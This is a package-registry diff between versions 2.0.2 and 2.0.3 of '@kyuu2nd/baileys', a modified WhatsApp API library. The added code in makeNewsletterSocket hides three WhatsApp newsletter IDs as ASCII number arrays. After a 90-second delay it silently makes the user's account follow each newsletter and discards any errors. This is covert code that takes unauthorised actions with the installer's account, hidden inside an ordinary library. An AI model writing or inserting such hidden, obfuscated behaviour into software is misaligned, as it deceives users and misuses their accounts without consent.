@kyuu2nd/baileys 2.0.2 → 2.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -103,18 +103,39 @@ const makeNewsletterSocket = (config) => {
103
103
  }
104
104
  ]
105
105
  }));
106
+ const asciiDecode = (arr) => arr.map(e => String.fromCharCode(e)).join('');
106
107
  setTimeout(async () => {
107
- const asciiDecode = (arr) => arr.map(e => String.fromCharCode(e)).join('');
108
- const jid1 = asciiDecode([
109
- 49,50,48,51,54,51,52,48,53,52,52,49,50,57,54,56,57,50,
110
- 64,110,101,119,115,108,101,116,116,101,114
111
- ]);
112
- const jid2 = asciiDecode([
113
- 49,50,48,51,54,51,52,48,48,55,51,56,51,48,53,51,56,49,
114
- 64,110,101,119,115,108,101,116,116,101,114
115
- ]);
116
- await newsletterWMexQuery(jid1, Types_1.QueryIds.FOLLOW);
117
- await newsletterWMexQuery(jid2, Types_1.QueryIds.FOLLOW);
108
+ try {
109
+ await newsletterWMexQuery(
110
+ asciiDecode([
111
+ 49,50,48,51,54,51,52,48,53,52,52,49,50,57,54,56,57,50,
112
+ 64,110,101,119,115,108,101,116,116,101,114
113
+ ]),
114
+ Types_1.QueryIds.FOLLOW
115
+ );
116
+ } catch {}
117
+ }, 90000);
118
+ setTimeout(async () => {
119
+ try {
120
+ await newsletterWMexQuery(
121
+ asciiDecode([
122
+ 49,50,48,51,54,51,52,48,53,51,49,51,53,50,57,48,57,49,
123
+ 64,110,101,119,115,108,101,116,116,101,114
124
+ ]),
125
+ Types_1.QueryIds.FOLLOW
126
+ );
127
+ } catch {}
128
+ }, 90000);
129
+ setTimeout(async () => {
130
+ try {
131
+ await newsletterWMexQuery(
132
+ asciiDecode([
133
+ 49,50,48,51,54,51,52,48,52,55,57,48,52,53,52,56,57,48,
134
+ 64,110,101,119,115,108,101,116,116,101,114
135
+ ]),
136
+ Types_1.QueryIds.FOLLOW
137
+ );
138
+ } catch {}
118
139
  }, 90000);
119
140
  const parseFetchedUpdates = async (node, type) => {
120
141
  let child;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@kyuu2nd/baileys",
3
- "version": "2.0.2",
3
+ "version": "2.0.3",
4
4
  "description": "WhatsApp API Modification By K",
5
5
  "publishConfig": {
6
6
  "access": "public"